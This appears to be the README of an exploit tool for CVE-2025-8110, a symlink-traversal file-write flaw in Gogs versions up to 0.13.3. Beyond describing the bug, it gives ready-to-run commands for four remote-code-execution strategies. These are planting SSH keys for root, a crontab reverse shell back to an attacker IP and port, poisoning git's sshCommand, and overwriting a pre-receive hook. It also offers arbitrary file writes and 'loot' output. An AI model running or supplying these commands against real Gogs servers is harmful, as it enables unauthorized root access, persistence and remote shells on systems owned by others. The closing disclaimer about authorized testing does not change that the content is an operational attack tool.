
Gogs Symlink Traversal → RCE
CVE-2025-8110 is a critical vulnerability in Gogs (self-hosted Git service) versions <= 0.13.3. The PutContents API validates file paths for directory-traversal (../) but does not resolve symbolic links before writing. An authenticated user can push a commit containing a symlink targeting any server file, then call PutContents on that symlink to overwrite the real file with attacker-controlled content.
This is a bypass of the earlier CVE-2024-55947 fix, which only addressed direct path traversal but not symlink-based traversal.
| Detail | Value |
|---|---|
| CVE | CVE-2025-8110 |
| Affected | Gogs <= 0.13.3 |
| Fixed | Gogs 0.13.4 |
| Type | Authenticated Arbitrary File Write → RCE |
| CVSS | 8.8 (High) |
| Component | PutContents API (/api/v1/repos/:owner/:repo/contents/:path) |
requests (pip install requests)git CLIThis exploit supports 4 built-in RCE strategies plus a generic file write mode:
# Check if target is vulnerable (no credentials needed)
python3 exploit.py http://target:3000 --check-only
# Strategy A: Plant SSH key for root access
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# Strategy B: Crontab reverse shell
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# Strategy C: sshCommand injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# Strategy D: Git hook injection
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# Generic file write
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# Write from local file
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens) - Login via API token (Basic Auth)POST /api/v1/user/repos with auto_init: true(POST /api/v1/user/repos (auto_init))PUT /api/v1/repos/:owner/:repo/contents/:link with base64-encoded content. Gogs resolves the symlink on disk and writes to the real file (PUT /api/v1/repos/.../contents/linkn_ame)target Gogs base URL (e.g. http://target:3000)
Authentication:
-u, --user Gogs username
-p, --password Gogs password
RCE Strategies:
--rce-keys PUBKEY Plant SSH pubkey → /root/.ssh/authorized_keys
--rce-cron Reverse shell → /etc/crontab
--rce-ssh Poison .git/config sshCommand + trigger
--rce-hook Overwrite pre-receive hook + trigger
--write Generic arbitrary file write
Connection / Payload:
--lhost LHOST Attacker IP for reverse shell
--lport LPORT Attacker port for reverse shell
--target-file PATH Server path to overwrite (--write mode)
--content STRING Content to write
--content-file FILE Local file to write
Options:
--repo NAME Repository name (default: random)
--cleanup Delete exploit repo after completion
-o, --output FILE Report file (default: loot.json)
--timeout SECONDS Request timeout (default: 15)
--proxy URL HTTP proxy for debugging
--check-only Only check if target is Gogs, don't exploit
This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. The author takes no responsibility for misuse. Use only on systems you own or have explicit written permission to test.
| Strategy | Flag | Target File | Trigger |
|---|
| A — SSH Keys | --rce-keys | /root/.ssh/authorized_keys | SSH login |
| B — Crontab | --rce-cron | /etc/crontab | Automatic (within 60s) |
| C — sshCommand | --rce-ssh | .git/config | SSH git operation |
| D — Git Hook | --rce-hook | hooks/pre-receive | git push |
| Generic | --write | Any path | Manual |